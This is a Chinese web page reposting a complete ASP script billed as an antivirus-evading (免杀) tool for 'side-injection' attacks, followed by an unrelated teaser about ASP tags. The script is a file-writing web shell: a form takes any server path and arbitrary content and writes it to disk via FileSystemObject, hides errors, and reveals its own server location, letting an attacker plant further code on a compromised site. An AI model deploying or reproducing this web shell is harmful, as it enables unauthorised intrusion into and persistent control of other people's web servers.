旁注-网站小助手旭方修改免杀asp版

<%@LANGUAGE="VBScript" CODEPAGE="936"%> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>旁注 - 网站小助手旭方修改免杀版</title> <style type="text/css">  </style> <style type="text/css">  </style> </head> <body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <p> <% dim FSO %> <% dim Data %> <% dim MyFile %> <% on error resume next %> <% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("path1"))<>"" then %> <% Data = request("path2") %> <% Set MyFile=FSO.CreateTextFile(request("path1"),True) %> <% MyFile.Write Data %> <% if err =0 then %> <% response.write "<font color=#FFFF00>成功啦! :)</font>" %> <% else %> <% response.write "<font color=#FFFF00>失败啦! :(</font>" %> <% end if %> <% err.clear %> <% end if %> <% MyFile.Close %> <% Set MyFile=Nothing %> <% Set FSO = Nothing %> <% Response.write "</form>" %> </p> <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF"> <tr> <td height="100%"> <table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF"> <tr> <td><table width="700" border="0" align="center" cellpadding="0" cellspacing="1"> <tr> <td bgcolor="#FFFFFF"><span class="black"> <% Response.write "本文件在服务器上的方位:" %> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> <br> <% Response.write "<form action='''' method=post>" %> </span> </td> </tr> <tr> <td bgcolor="#FFFFFF"><span class="black">输入路径：<% Response.Write "<input type=text name=path1 width=200 size=81>" %> </span></td> </tr> <tr> <td bgcolor="#FFFFFF" class="black"> <% Response.write "输入内容：" %> <% Response.write "<textarea name=path2 cols=80 rows=15 width=32></textarea>" %> </td> </tr> <tr> <td bgcolor="#FFFFFF"><div align="center"><span class="black"> <% Response.write "<input type=submit value=西天取经>" %> </span></div></td> </tr> </tr> <td bgcolor="#FFFFFF" class="black"><div align="center"></a></div></td> </tr> </table></td> </tr> </table></td> </tr> </table> </body> </html>

　　推荐阅读

　　asp下tag的实现,简单介绍与部分代码

标签（Tag）是什么？标签是一种更为自由、灵活，完全由用户决定的分类方式，而非传统的由网站定义的分类。您可以根据自己的理解，对发表的文章、上传的图片、音乐、视频等各种文件添加一个或多个标签，进行灵活的>>>详细阅读

本文标题：旁注-网站小助手旭方修改免杀asp版

地址：http://www.17bianji.com/kaifa2/ASP/32626.html

1/2 1